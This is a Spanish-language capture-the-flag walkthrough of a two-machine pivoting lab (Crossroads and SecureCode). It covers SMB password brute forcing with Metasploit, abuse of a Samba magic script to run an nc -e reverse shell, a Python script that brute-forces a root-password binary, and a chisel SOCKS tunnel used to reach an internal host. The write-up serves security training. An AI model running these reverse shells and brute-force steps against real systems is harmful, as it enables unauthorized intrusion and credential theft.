PNG image data, 1106 x 876, 8-bit/color RGB, non-interlaced
+--------+------------------+-------------------------------------------+-----------+
| Offset | Carved/Extracted | Description                               | File Name |
+--------+------------------+-------------------------------------------+-----------+
| 0x69f  | Carved           | Zlib compressed data, default compression | 69F.zlib  |
| 0x69f  | Extracted        | Zlib compressed data, default compression | 69F       |
+--------+------------------+-------------------------------------------+-----------+
Exif
====
+----------------------+--------------------------------------------------------------------------------------------------+
| key                  | value                                                                                            |
+----------------------+--------------------------------------------------------------------------------------------------+
| SourceFile           | /workspace/Pivoting/Crossroad/content/crossroads.png                                             |
| ExifToolVersion      | 12.57                                                                                            |
| FileName             | crossroads.png                                                                                   |
| Directory            | /workspace/Pivoting/Crossroad/content                                                            |
| FileSize             | 1100 kB                                                                                          |
| FileModifyDate       | 2021:03:02 19:05:35-03:00                                                                        |
| FileAccessDate       | 2025:08:06 07:27:34-03:00                                                                        |
| FileInodeChangeDate  | 2025:07:26 20:23:11-03:00                                                                        |
| FilePermissions      | -rw-rw----                                                                                       |
| FileType             | PNG                                                                                              |
| FileTypeExtension    | png                                                                                              |
| MIMEType             | image/png                                                                                        |
| ImageWidth           | 1106                                                                                             |
| ImageHeight          | 876                                                                                              |
| BitDepth             | 8                                                                                                |
| ColorType            | RGB                                                                                              |
| Compression          | Deflate/Inflate                                                                                  |
| Filter               | Adaptive                                                                                         |
| Interlace            | Noninterlaced                                                                                    |
| PixelsPerUnitX       | 2835                                                                                             |
| PixelsPerUnitY       | 2835                                                                                             |
| PixelUnits           | meters                                                                                           |
| XMPToolkit           | Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39                                           |
| CreatorTool          | Adobe Photoshop CC 2018 (Windows)                                                                |
| CreateDate           | 2021:03:03 01:05:34+03:00                                                                        |
| MetadataDate         | 2021:03:03 01:05:34+03:00                                                                        |
| ModifyDate           | 2021:03:03 01:05:34+03:00                                                                        |
| InstanceID           | xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1                                                     |
| DocumentID           | adobe:docid:photoshop:332b0d56-e404-b344-995b-0552ba0e91fc                                       |
| OriginalDocumentID   | xmp.did:099252d2-406b-7a48-8f06-3b7f7410f183                                                     |
| ColorMode            | RGB                                                                                              |
| Format               | image/png                                                                                        |
| HistoryAction        | [<span class="hljs-string">'created'</span>, <span class="hljs-string">'saved'</span>]                                                                             |
| HistoryInstanceID    | [<span class="hljs-string">'xmp.iid:099252d2-406b-7a48-8f06-3b7f7410f183'</span>, <span class="hljs-string">'xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1'</span>] |
| HistoryWhen          | [<span class="hljs-string">'2021:03:03 01:05:34+03:00'</span>, <span class="hljs-string">'2021:03:03 01:05:34+03:00'</span>]                                       |
| HistorySoftwareAgent | [<span class="hljs-string">'Adobe Photoshop CC 2018 (Windows)'</span>, <span class="hljs-string">'Adobe Photoshop CC 2018 (Windows)'</span>]                       |
| HistoryChanged       | /                                                                                                |
| DocumentAncestors    | F35C96A263F2934D8C732E0185DBC23E                                                                 |
| ImageSize            | 1106x876                                                                                         |
| Megapixels           | 0.969                                                                                            |
+----------------------+--------------------------------------------------------------------------------------------------+
XMPP
====
+----------------------------------------+--------------------------------------------------------------+
|                  key                   |                            value                             |
+----------------------------------------+--------------------------------------------------------------+
|           <span class="hljs-string">'xmp:CreatorTool'</span>            |             <span class="hljs-string">'Adobe Photoshop CC 2018 (Windows)'</span>              |
|            <span class="hljs-string">'xmp:CreateDate'</span>            |                 <span class="hljs-string">'2021-03-03T01:05:34+03:00'</span>                  |
|           <span class="hljs-string">'xmp:MetadataDate'</span>           |                 <span class="hljs-string">'2021-03-03T01:05:34+03:00'</span>                  |
|            <span class="hljs-string">'xmp:ModifyDate'</span>            |                 <span class="hljs-string">'2021-03-03T01:05:34+03:00'</span>                  |
|           <span class="hljs-string">'xmpMM:InstanceID'</span>           |        <span class="hljs-string">'xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1'</span>        |
|           <span class="hljs-string">'xmpMM:DocumentID'</span>           | <span class="hljs-string">'adobe:docid:photoshop:332b0d56-e404-b344-995b-0552ba0e91fc'</span> |
|       <span class="hljs-string">'xmpMM:OriginalDocumentID'</span>       |        <span class="hljs-string">'xmp.did:099252d2-406b-7a48-8f06-3b7f7410f183'</span>        |
|            <span class="hljs-string">'xmpMM:History'</span>             |                              <span class="hljs-string">''</span>                              |
|           <span class="hljs-string">'xmpMM:History[1]'</span>           |                              <span class="hljs-string">''</span>                              |
|    <span class="hljs-string">'xmpMM:History[1]/stEvt:action'</span>     |                          <span class="hljs-string">'created'</span>                           |
|  <span class="hljs-string">'xmpMM:History[1]/stEvt:instanceID'</span>   |        <span class="hljs-string">'xmp.iid:099252d2-406b-7a48-8f06-3b7f7410f183'</span>        |
|     <span class="hljs-string">'xmpMM:History[1]/stEvt:when'</span>      |                 <span class="hljs-string">'2021-03-03T01:05:34+03:00'</span>                  |
| <span class="hljs-string">'xmpMM:History[1]/stEvt:softwareAgent'</span> |             <span class="hljs-string">'Adobe Photoshop CC 2018 (Windows)'</span>              |
|           <span class="hljs-string">'xmpMM:History[2]'</span>           |                              <span class="hljs-string">''</span>                              |
|    <span class="hljs-string">'xmpMM:History[2]/stEvt:action'</span>     |                           <span class="hljs-string">'saved'</span>                            |
|  <span class="hljs-string">'xmpMM:History[2]/stEvt:instanceID'</span>   |        <span class="hljs-string">'xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1'</span>        |
|     <span class="hljs-string">'xmpMM:History[2]/stEvt:when'</span>      |                 <span class="hljs-string">'2021-03-03T01:05:34+03:00'</span>                  |
| <span class="hljs-string">'xmpMM:History[2]/stEvt:softwareAgent'</span> |             <span class="hljs-string">'Adobe Photoshop CC 2018 (Windows)'</span>              |
|    <span class="hljs-string">'xmpMM:History[2]/stEvt:changed'</span>    |                             <span class="hljs-string">'/'</span>                              |
|         <span class="hljs-string">'photoshop:ColorMode'</span>          |                             <span class="hljs-string">'3'</span>                              |
|     <span class="hljs-string">'photoshop:DocumentAncestors'</span>      |                              <span class="hljs-string">''</span>                              |
|    <span class="hljs-string">'photoshop:DocumentAncestors[1]'</span>    |              <span class="hljs-string">'F35C96A263F2934D8C732E0185DBC23E'</span>              |
|              <span class="hljs-string">'dc:format'</span>               |                         <span class="hljs-string">'image/png'</span>                          |
+----------------------------------------+--------------------------------------------------------------+
</code></pre>
<pre><code class="lang-bash">ls
crossroads.png  results  stegoVeritas
<span class="hljs-built_in">cd</span> results/keepers 
ls
1754485771.5929751-79b4d1696d3daa931d994e6c8ff3bcbc  69F 
1754485848.7338853-e141a773742528eeded2c24b53183913  69F.zlib
1854610042.114s957-3161a756330490eac297cc43f23494c7
</code></pre>
<p>Voy a descomprimirlo para ver qué contiene, el <strong>69F.zlib.</strong></p>
<pre><code class="lang-bash">zlib-flate -uncompress &lt; 69F.zlib &gt; decompressed
ls
1754485771.5929751-79b4d1696d3daa931d994e6c8ff3bcbc  69F       decompressed
1754485848.7338853-e141a773742528eeded2c24b53183913  69F.zlib
1854610042.114s957-3161a756330490eac297cc43f23494c7
</code></pre>
<pre><code class="lang-bash">file decompressed 
decompressed: data
</code></pre>
<p>Veo que el tipo es data, lo analizo con <strong>Ghidra,</strong> pero no encuentro nada interesante.</p>
<p>Hice enumeración con <strong>rpcclient</strong> mientras analizaba el binario; tenía el usuario <strong>albert,</strong> pero no la contraseña. Probé con varias formas de realizar fuerza bruta con <strong>netexec</strong>, <strong>hydra,</strong> <strong>medusa,</strong> etc.</p>
<p>Pero solo funcionó con un módulo <strong>auxiliar</strong> de <strong>Metasploit</strong>, por eso es importante probar el mismo ataque con varias herramientas distintas o con la misma varias veces.</p>
<pre><code class="lang-bash">msfconsole                                        
Metasploit tip: Use the edit <span class="hljs-built_in">command</span> to open the currently active module 
<span class="hljs-keyword">in</span> your editor


         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       <span class="hljs-string">'   dB'</span>                     BBP
    dB<span class="hljs-string">'dB'</span>dB<span class="hljs-string">' dBBP     dBP     dBP BB
   dB'</span>dB<span class="hljs-string">'dB'</span> dBP      dBP     dBP  BB
  dB<span class="hljs-string">'dB'</span>dB<span class="hljs-string">' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB'</span> dBP    dB<span class="hljs-string">'.BP
                             |       dBP    dBBBB'</span> dBP    dB<span class="hljs-string">'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'</span>.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                    .
                .
        o                  To boldly go <span class="hljs-built_in">where</span> no
                            shell has gone before


       =[ metasploit v6.4.33-dev-4422322                  ]
+ -- --=[ 2459 exploits - 1266 auxiliary - 430 post       ]
+ -- --=[ 1468 payloads - 49 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 &gt; search smb_login

Matching Modules
================

   <span class="hljs-comment">#  Name                             Disclosure Date  Rank    Check  Description</span>
   -  ----                             ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_login  .                normal  No     SMB Login Check Scanner


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_login

msf6 &gt; use 0
[*] New <span class="hljs-keyword">in</span> Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/smb/smb_login) &gt;options

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   ABORT_ON_LOCKOUT   <span class="hljs-literal">false</span>            yes       Abort the run when an account lockout is detected
   ANONYMOUS_LOGIN    <span class="hljs-literal">false</span>            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS    <span class="hljs-literal">false</span>            no        Try blank passwords <span class="hljs-keyword">for</span> all users
   BRUTEFORCE_SPEED   5                yes       How fast to bruteforce, from 0 to 5
   CreateSession      <span class="hljs-literal">false</span>            no        Create a new session <span class="hljs-keyword">for</span> every successful login
   DB_ALL_CREDS       <span class="hljs-literal">false</span>            no        Try each user/password couple stored <span class="hljs-keyword">in</span> the current database
   DB_ALL_PASS        <span class="hljs-literal">false</span>            no        Add all passwords <span class="hljs-keyword">in</span> the current database to the list
   DB_ALL_USERS       <span class="hljs-literal">false</span>            no        Add all users <span class="hljs-keyword">in</span> the current database to the list
   DB_SKIP_EXISTING   none             no        Skip existing credentials stored <span class="hljs-keyword">in</span> the current database (Accepted:
                                                  none, user, user&amp;realm)
   DETECT_ANY_AUTH    <span class="hljs-literal">false</span>            no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  <span class="hljs-literal">false</span>            no        Detect <span class="hljs-keyword">if</span> domain is required <span class="hljs-keyword">for</span> the specified user
   PASS_FILE                           no        File containing passwords, one per line
   PRESERVE_DOMAINS   <span class="hljs-literal">true</span>             no        Respect a username that contains a domain name.
   Proxies                             no        A proxy chain of format <span class="hljs-built_in">type</span>:host:port[,<span class="hljs-built_in">type</span>:host:port][...]
   RECORD_GUEST       <span class="hljs-literal">false</span>            no        Record guest-privileged random logins to the database
   RHOSTS                              yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                                 sploit/basics/using-metasploit.html
   RPORT              445              yes       The SMB service port (TCP)
   SMBDomain          .                no        The Windows domain to use <span class="hljs-keyword">for</span> authentication
   SMBPass                             no        The password <span class="hljs-keyword">for</span> the specified username
   SMBUser                             no        The username to authenticate as
   STOP_ON_SUCCESS    <span class="hljs-literal">false</span>            yes       Stop guessing when a credential works <span class="hljs-keyword">for</span> a host
   THREADS            1                yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                       no        File containing users and passwords separated by space, one pair pe
                                                 r line
   USER_AS_PASS       <span class="hljs-literal">false</span>            no        Try the username as the password <span class="hljs-keyword">for</span> all users
   USER_FILE                           no        File containing usernames, one per line
   VERBOSE            <span class="hljs-literal">true</span>             yes       Whether to <span class="hljs-built_in">print</span> output <span class="hljs-keyword">for</span> all attempts


View the full module info with the info, or info -d <span class="hljs-built_in">command</span>.

msf6 auxiliary(scanner/smb/smb_login) &gt; <span class="hljs-built_in">set</span> RHOSTS 192.168.0.26
RHOSTS =&gt; 192.168.0.26
msf6 auxiliary(scanner/smb/smb_login) &gt; <span class="hljs-built_in">set</span> PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE =&gt; /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) &gt; <span class="hljs-built_in">set</span> SMBUser albert
SMBUser =&gt; albert
msf6 auxiliary(scanner/smb/smb_login) &gt; run
</code></pre>
<p>Luego de un rato veo lo siguiente:</p>
<pre><code class="lang-bash">[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: <span class="hljs-string">'.\albert:smile4me'</span>,
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: <span class="hljs-string">'.\albert:sherman'</span>,
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: <span class="hljs-string">'.\albert:glenn'</span>,
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: <span class="hljs-string">'.\albert:gabby1'</span>,
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: <span class="hljs-string">'.\albert:family5'</span>,
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: <span class="hljs-string">'.\albert:eddie1'</span>,
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: <span class="hljs-string">'.\albert:dodgers'</span>,
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: <span class="hljs-string">'.\albert:cheska'</span>,
[+] 192.168.0.26:445      - 192.168.0.26:445 - Success: <span class="hljs-string">'.\albert:bradley1'</span>
</code></pre>
<p>Por tanto, tenemos una contraseña; vamos a listar el contenido para ver si tenemos más permisos con <strong>smbmap.</strong></p>
<pre><code class="lang-bash">smbmap -H 192.168.0.26 -u albert -p bradley1

[+] IP: 192.168.0.26:445    Name: crossroadsantigua.org    Status: Authenticated
    Disk                                                      Permissions    Comment
    ----                                                      -----------    -------
    <span class="hljs-built_in">print</span>$                                                READ ONLY    Printer Drivers
    smbshare                                              READ, WRITE    
    IPC$                                                  NO ACCESS    IPC Service (Samba 4.9.5-Debian)
    albert                                                READ ONLY    Home Directories
</code></pre>
<p>Veo que tengo acceso ahora a <strong>smbshare</strong>; vamos a echarle un vistazo.</p>
<pre><code class="lang-bash">smbclient --password=bradley1 -U <span class="hljs-string">"albert"</span> \\\\192.168.0.26\\smbshare       
Try <span class="hljs-string">"help"</span> to get a list of possible commands.
smb: \&gt; ls
  .                                   D        0  Thu Aug  7 18:49:15 2025
  ..                                  D        0  Sat Mar  6 09:45:15 2021
  smb.conf                            N     8779  Tue Mar  2 19:14:54 2021
</code></pre>
<p>Veo un smb.conf, vamos a ver qué es.</p>
<p>Veo ciertas configuraciones, pero me llama la atención lo siguiente:</p>
<pre><code class="lang-bash">[smbshare]
path = /home/albert/smbshare
valid users = albert
browsable = yes
writable = yes
<span class="hljs-built_in">read</span> only = no
@ = smbscript.sh
guest ok = no
</code></pre>
<p>Hay un “magic script“, smbscript.sh<strong>.</strong></p>
<p>Vamos a revisar la otra carpeta compartida de nombre <strong>Albert.</strong></p>
<pre><code class="lang-bash">smbclient --password=bradley1 -U <span class="hljs-string">"albert"</span> \\\\192.168.0.26\\albert  
Try <span class="hljs-string">"help"</span> to get a list of possible commands.
smb: \&gt; ls
  .                                   D        0  Sat Mar  6 09:45:15 2021
  ..                                  D        0  Tue Mar  2 19:00:47 2021
  smbshare                            D        0  Thu Aug  7 19:05:08 2025
  crossroads.png                      N  1583196  Tue Mar  2 19:34:03 2021
  beroot                              N    16664  Tue Mar  2 20:02:41 2021
  user.txt                            N     1805  Sun Jan  3 14:56:19 2021

        4000320 blocks of size 1024. 3759668 blocks available
</code></pre>
<p>Vemos un <strong>user.txt</strong>, que es la primera flag. Luego vemos la otra carpeta <strong>smbshare</strong> y la imagen <strong>crossroads.png.</strong></p>
<p>Hay otro archivo beroot. Vamos a analizarlo para ver qué es.</p>
<pre><code class="lang-bash">smb: \&gt; get beroot 
getting file \beroot of size 16664 as beroot (428.2 KiloBytes/sec) (average 428.2 KiloBytes/sec)
</code></pre>
<pre><code class="lang-bash">file beroot  
beroot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c1da1f0fded1889d32e27b99a2a4bd170c30349b, <span class="hljs-keyword">for</span> GNU/Linux 3.2.0, not stripped
</code></pre>
<p>Parece ser un binario para Linux; voy a darle permisos de ejecución y analizarlo para ver qué hace.<br />Intento analizarlo con <strong>ltrace</strong> o <strong>strace,</strong> pero necesita librerías y el programa no se ejecuta.</p>
<p>Así que vamos a realizar un análisis con <strong>Ghidra.</strong></p>
<p>Pero no encuentro mucho, parece que ejecuta un binario en el escritorio de root, por tanto, mucho no se puede analizar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754606635324/3c49f6dc-a324-4577-88dc-109f379cac0b.png" alt class="image--center mx-auto" /></p>
<p>Vamos a acceder nuevamente a la carpeta de <strong>smbshare.</strong></p>
<pre><code class="lang-bash">smbclient --password=bradley1 -U <span class="hljs-string">"albert"</span> \\\\192.168.0.26\\smbshare
smb: \&gt;
</code></pre>
<p>Si investigamos sobre los “magic scripts“, vemos que, si los ponemos en la carpeta compartida que corresponde con el nombre, se ejecutan.</p>
<p>Por tanto, voy a crear el archivo smbscript.sh con el contenido de una reverse shell y subirlo a la máquina.</p>
<pre><code class="lang-bash">nc 192.168.0.9 4444 -e /bin/bash
</code></pre>
<pre><code class="lang-bash">nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
</code></pre>
<pre><code class="lang-bash">Ncat: Connection from 192.168.0.26.
Ncat: Connection from 192.168.0.26:45790.
whoami
albert
</code></pre>
<p>Tenemos acceso como albert; ahora toca escalar privilegios.</p>
<h1 id="heading-escalada-de-privilegios-crossroads">Escalada de Privilegios - Crossroads</h1>
<pre><code class="lang-bash">python -c <span class="hljs-string">'import pty;pty.spawn("/bin/bash")'</span>
albert@crossroads:/home/albert/smbshare$
</code></pre>
<pre><code class="lang-bash">albert@crossroads:/home/albert$ ./beroot
</code></pre>
<pre><code class="lang-bash">enter password <span class="hljs-keyword">for</span> root
-----------------------

password:
</code></pre>
<p>Veo que nos pide una contraseña; este es el script que se está ejecutando en /root.</p>
<p>Como no tengo acceso al directorio <strong>/root</strong>, no puedo descargar el binario para analizarlo.</p>
<p>Luego de revisar nuevamente lo que la herramienta <strong>StegoVeritas</strong> pudo obtener de la imagen.</p>
<p>Veo que hay un archivo que es un <strong>diccionario.</strong></p>
<pre><code class="lang-bash">file ./*                   
./1754610042.1145957-3161a755130490eac2f7cc43f23494c7: MPEG ADTS, layer III, v1, 80 kbps, Monaural
./1754610110.05314-6f3ed02dad7e2f978584cfdf66dbbf51:   PNG image data, 1106 x 876, 8-bit/color RGB, non-interlaced
./1854610042.114s957-3161a756330490eac297cc43f23494c7: Unicode text, UTF-8 text
./69F:                                                 empty
./69F.zlib:                                            zlib compressed data
</code></pre>
<p>En este caso, el <strong>1854610042.114s957-3161a756330490eac297cc43f23494c7</strong>.</p>
<p>Por tanto, quizás esté ahí la contraseña; para no probar uno a uno, podríamos automatizar el proceso.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> sys


<span class="hljs-keyword">with</span> open(<span class="hljs-string">"dic.txt"</span>,<span class="hljs-string">"r"</span>,encoding=<span class="hljs-string">'ISO.8859.1'</span>) <span class="hljs-keyword">as</span> fs:
    var= fs.read().splitlines()
<span class="hljs-keyword">for</span> li <span class="hljs-keyword">in</span> var:
    var1= li
    result= subprocess.getoutput(<span class="hljs-string">"echo %s | ./beroot"</span>%var1)
    print(<span class="hljs-string">"testing password "</span>+ var1)
    <span class="hljs-keyword">if</span> <span class="hljs-string">"wrong password!!!"</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> str(result):
        print(result)
        print(<span class="hljs-string">"the password is: "</span>+ var1)
        sys.exit(<span class="hljs-number">0</span>)
</code></pre>
<p>Con esto debemos renombrar el diccionario a “<strong>dic.txt</strong>“ y luego subirlo a la máquina junto con el <strong>exploit.py</strong>.</p>
<pre><code class="lang-bash">python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
</code></pre>
<pre><code class="lang-bash">albert@crossroads:/home/albert$ wget http://192.168.0.9/dic.txt
albert@crossroads:/home/albert$ wget http://192.168.0.9/exploit.py
</code></pre>
<p>Luego de tener los dos archivos, ejecutamos el <strong>exploit.py.</strong></p>
<pre><code class="lang-bash">albert@crossroads:/home/albert<span class="hljs-variable">$p</span> python3 exploit.py
testing password twenty
testing password tommie
testing password sandman
testing password panchito
testing password nicole3
testing password munchie
testing password marcella
testing password lemuel
TERM environment variable not <span class="hljs-built_in">set</span>.
enter password <span class="hljs-keyword">for</span> root
-----------------------

<span class="hljs-keyword">do</span> ls and find root creds
the password is: lemuel
</code></pre>
<p>Parece ser que la contraseña es lemuel, nos dice que hagamos un ls.</p>
<pre><code class="lang-bash">ls
beroot    crossroads.png    dic.txt  exploit.py  rootcreds    smbshare  user.txt
</code></pre>
<p>Vemos un nuevo archivo llamado <strong>rootcreds.</strong></p>
<pre><code class="lang-bash">albert@crossroads:/home/albert$ cat rootcreds
root
___drifting___
</code></pre>
<p>Parece que la contraseña de root es <strong>___drifting___</strong>. Vamos a comprobarlo.</p>
<pre><code class="lang-bash">su root
Password: ___drifting___

root@crossroads:/home/albert<span class="hljs-comment"># whoami</span>
root
</code></pre>
<p>Y terminamos la primera máquina.</p>
<h1 id="heading-comentarios-crossroads">Comentarios - Crossroads.</h1>
<p>La máquina no estuvo mal; practiqué temas de esteganografía y cómo obtener info en lugares ocultos.</p>
<p>Después, muy curioso el tema de “magic script” y el resto ya fue fuerza bruta.</p>
<h1 id="heading-continuamos-securecode">Continuamos - SecureCode</h1>
<p>Debido a que tenemos una forma sencilla de ganar acceso (al tener la contraseña de root).</p>
<p>Simplemente voy a enviarme una consola y recibirla con <strong>pwncat</strong>, para trabajar más cómodamente.</p>
<pre><code class="lang-bash">pwncat-cs :4446
</code></pre>
<pre><code class="lang-bash">albert@crossroads:/home/albert$ nc 192.168.0.9 4445 -e /bin/bash
</code></pre>
<pre><code class="lang-bash">(remote) root@crossroads:/root<span class="hljs-comment"># ls</span>
beroot.sh  creds  passwd  root.txt
</code></pre>
<p>Luego de vulnerar la máquina <strong>Crossroads</strong>, vamos a revisar sus interfaces de red.</p>
<pre><code class="lang-bash">ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:3d:a1:bc brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.26/24 brd 192.168.0.255 scope global dynamic enp0s3
       valid_lft 3553sec preferred_lft 3553sec
    inet6 ::a00:27ff:fe3d:a1bc/64 scope global dynamic mngtmpaddr 
       valid_lft 3598sec preferred_lft 3598sec
    inet6 fe80::a00:27ff:fe3d:a1bc/64 scope link 
       valid_lft forever preferred_lft forever
3: enp0s8: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:af:1f:d2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.10/24 brd 192.168.100.255 scope global enp0s8
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:feaf:1fd2/64 scope link 
       valid_lft forever preferred_lft forever
</code></pre>
<p>Vemos que existe otra interfaz de red, la <strong>enp0s8</strong>.</p>
<p>Aquí es donde empieza la segunda parte del laboratorio y toca vulnerar la segunda máquina.</p>
<h1 id="heading-creando-puente-crossroads-securecode">Creando Puente Crossroads - Securecode</h1>
<p>Como directamente no podemos acceder a la segunda máquina del laboratorio (<strong>Securecode</strong>).</p>
<p>Vamos a utilizar como intermediario a <strong>Crossroads,</strong> que sí tiene conexión con la máquina <strong>Securecode</strong>.</p>
<p>Primero vamos a realizar un escaneo de la red con ping. Con un script básico en bash.</p>
<p>Podemos pasar también un compilado de Nmap, entre otras formas, para descubrir más hosts en la red <strong>192.168.100.0</strong>.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

<span class="hljs-built_in">trap</span> ctrl_c INT

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">ctrl_c</span></span>(){
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\n\n[!] Saliendo...\n"</span>
    <span class="hljs-built_in">exit</span> 0
}

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> $(seq 1 254); <span class="hljs-keyword">do</span>
    (timeout 1 ping -c 1 192.168.100.<span class="hljs-variable">$i</span>) &amp;&gt;/dev/null &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">"[+] Active: 192.168.100.<span class="hljs-variable">$i</span> "</span>
<span class="hljs-keyword">done</span>
</code></pre>
<p>Luego le damos permisos de ejecución y lo ejecutamos (luego de pasar el archivo a la máquina).</p>
<pre><code class="lang-bash">./scan.sh 
[+] Active: 192.168.100.10 
[+] Active: 192.168.100.20 
^C

[!] Saliendo...
</code></pre>
<p>Como vemos, hay otra máquina en la <strong>192.168.100.20</strong>, a la cual no tenemos acceso directamente.</p>
<p>Para crear el túnel, vamos a usar → chisel. Una herramienta diseñada para crear t<strong>úneles UDP/TCP.</strong></p>
<p>Primero nos descargamos el repositorio para luego compilarlo y, luego, lo subimos a la máquina.</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/jpillora/chisel.git
<span class="hljs-built_in">cd</span> chisel
go build .
ls
chisel  client  example  go.mod  go.sum  LICENSE  main.go  Makefile  README.md  server  share  <span class="hljs-built_in">test</span>
</code></pre>
<p>Ahí tenemos el <strong>chisel</strong>; yo, como estoy usando <strong>pwncat</strong>, simplemente tengo que usar <strong>upload</strong> y el nombre del archivo, pero hay muchas formas de transferir archivos de una máquina a la otra.</p>
<p>En el caso de que el <strong>binario</strong> sea muy pesado, pueden usar <strong>UPX</strong> para reducir su peso.</p>
<pre><code class="lang-bash">/root<span class="hljs-comment"># ls</span>
beroot.sh  chisel  creds  passwd  root.txt  scan.sh
</code></pre>
<p>Una vez que tenemos el chisel en la máquina víctima, necesitamos ejecutar el binario como <strong>servidor</strong> en la máquina víctima (<strong>Crossroads</strong>) y como cliente en nuestra máquina de atacante.</p>
<pre><code class="lang-bash">./chisel server -v -p 1234 --socks5
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34<span class="hljs-string">' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32'</span> not found (required by ./chisel
</code></pre>
<p>Vemos un error de <strong>GLIBC_2.32</strong>; en caso de que le suceda lo mismo, pueden descargarse un <strong>release</strong> del binario ya compilado de GitHub más antiguo y debería funcionar.</p>
<pre><code class="lang-bash">./chisel server -v -p 1234 --socks5
2025/08/09 09:12:20 server: Fingerprint IN40VRFPzeDz/mMmFU6rt7CKMN6Nu5/5Bao4YX0UKvE=
2025/08/09 09:12:20 server: Listening on http://0.0.0.0:1234
</code></pre>
<p>En este caso, yo voy a jugar con <strong>SOCKS5</strong> para luego, con <strong>proxychains,</strong> acceder a la otra máquina, a la que en primera instancia no tengo acceso.</p>
<pre><code class="lang-bash">./chisel64 client -v 192.168.0.26:1234 socks
2025/08/09 07:18:32 client: Connecting to ws://192.168.0.9:1234
2025/08/09 07:18:32 client: tun: proxy<span class="hljs-comment">#127.0.0.1:1080=&gt;socks: Listening</span>
2025/08/09 07:18:32 client: tun: Bound proxies
2025/08/09 07:18:32 client: Handshaking...
2025/08/09 07:18:32 client: Sending config
2025/08/09 07:18:32 client: Connected (Latency 4.188901ms)
2025/08/09 07:18:32 client: tun: SSH connected
</code></pre>
<p>Y ahí ya funciona, con el binario antiguo.</p>
<pre><code class="lang-bash">./chisel server -v -p 1234 --socks5
2025/08/09 09:12:20 server: Fingerprint IN40VRFPzeDz/mMmFU6rt7CKMN6Nu5/5Bao4YX0UKvE=
2025/08/09 09:12:20 server: Listening on http://0.0.0.0:1234
2025/08/09 09:18:32 server: session<span class="hljs-comment">#1: Handshaking with 192.168.0.26:45436...</span>
2025/08/09 09:18:32 server: session<span class="hljs-comment">#1: Verifying configuration</span>
2025/08/09 09:18:32 server: session<span class="hljs-comment">#1: Client version (1.10.1) differs from server version (0.0.0-src)</span>
2025/08/09 09:18:32 server: session<span class="hljs-comment">#1: tun: Created (SOCKS enabled)</span>
2025/08/09 09:18:32 server: session<span class="hljs-comment">#1: tun: SSH connected</span>
</code></pre>
<p>Como vemos, se crea un <strong>túnel</strong> en nuestra máquina por el puerto <strong>1080.</strong></p>
<pre><code class="lang-bash">lsof -i:1080
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
chisel  13150 root    3u  IPv4  36500      0t0  TCP localhost:socks (LISTEN)
</code></pre>
